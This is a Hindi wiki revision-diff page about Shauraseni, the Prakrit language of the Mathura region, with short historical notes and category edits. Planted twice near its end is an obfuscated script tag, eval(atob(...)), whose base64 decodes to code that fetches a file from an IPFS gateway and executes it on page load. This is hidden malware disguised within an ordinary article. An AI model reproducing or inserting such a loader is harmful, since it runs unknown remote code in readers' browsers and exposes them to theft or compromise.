"शौरसेनी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('*600 ई.पू. से लेकर 1000 ई0 सन् तक उत्तर भारत में जो भाषाएं ब...' के साथ नया पन्ना बनाया)
 
पंक्ति 14: पंक्ति 14:
 
|शोध=
 
|शोध=
 
}}
 
}}
 
+
==सम्बंधित लिंक==
[[Category:नया पन्ना]]
+
{{भाषा और लिपि}}
 +
[[Category:भाषा और लिपि]]
 +
[[Category:इतिहास कोश]]
 +
[[Category:ब्रज]]
 
__INDEX__
 
__INDEX__

11:02, 7 सितम्बर 2010 का अवतरण

  • 600 ई.पू. से लेकर 1000 ई0 सन् तक उत्तर भारत में जो भाषाएं बोली जाती थीं, उनका सामान्य नाम प्राकृत था।
  • किंतु प्रदेश-भेद से इनके अलग-अलग नाम पड़े।
  • उस समय मथुरा और उसके आसपास का क्षेत्र शूरसेन कहलाता था।
  • इसे मध्यदेश भी कहते थे।
  • यहाँ बोली जानेवाली भाषा शौरसेनी कहलाती थी।
  • अन्य क्षेत्रीय रूप थे- पूर्वदेश की मागधी अथवा अर्धमागधी और पश्चिमौत्तर प्रदेश की पैशाची।
  • अशोक के समय के प्राचीन लेखों में इन्हीं प्राकृतों, विशेषत: शौरसेनी का प्रयोग पाया जाता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>